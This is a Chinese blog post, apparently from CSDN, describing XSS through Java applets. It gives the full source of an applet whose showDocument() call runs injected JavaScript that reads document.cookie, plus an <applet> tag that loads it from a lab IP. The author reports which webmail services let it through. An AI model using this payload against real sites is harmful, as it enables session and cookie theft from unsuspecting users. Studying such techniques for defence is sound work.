A new way to xss with java applet

A new way to xss with java applet (很早以前写的文章,拿出来先放个1楼)

一、java Applet介绍

CVE2012-4681 使我关注到了java applet,简单介绍一下java applet其实类似于FLASH是浏览器一个组件(插件),和微软的ActiveX插件相似。详细的可以参考百度百科:

 Applet可以翻译为小应用程序,Java Applet就是用Java语言编写的这样的一些小应用程序,它们可以直接嵌入到网页中,并能够产生特殊的效果。包含Applet的网页被称为Java-powered页,可以称其为Java支持的网页。

  当用户访问这样的网页时, Applet被下载到用户的计算机上执行,但前提是用户使用的是支持Java的网络l浏览器。由于Applet是在用户的计算机上执行的,因此它的执行速度不受网络带宽或者Modem存取速度的限制。用户可以更好地欣赏网页上Applet产生的多媒体效果。

二、java applet执行JavaScript代码

Java applet提供了执行了javascript代码的接口,通过调用applet的getAppletContext()方法返回Context对象,然后再次调用Context的showDocument方法通过javascript:jscode执行javascript代码,相关代码如下:

package bug.applet;
import java.applet.*;
import java.awt.Graphics;
import java.net.*;

public class AppletXss extends Applet {
   public void init(){
         SecurityManager sm=System.getSecurityManager();
         sm.getSecurityContext();
         xss();
       }

    public void paint(Graphics paramGraphics,String message) {
          paramGraphics.drawString("Loading", 50, 25);
         }

    public void xss(){
        try {
        URL url = new URL("javascript:document.writeln('<script>alert(document.cookie);alert(/xss/);</script>')");
        getAppletContext().showDocument(url);
     } catch(MalformedURLException e) {
      paint(this.getGraphics(),"不支持JavaScript调用!");
    }
  }
 }

Xss payload调用代码:

<applet codebase="http://192.168.56.1/"   code="bug/applet/AppletXss.class" width=500 height=300></applet>

AppletXss.class,放在192.168.56.1的根目录下的bug/applet目录下。

测试了下威力目前139邮箱可以通过,126被转义了,qq直接把applet标签弄死了。算是一种构造xss的新方法吧。
XSS攻击展示:

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值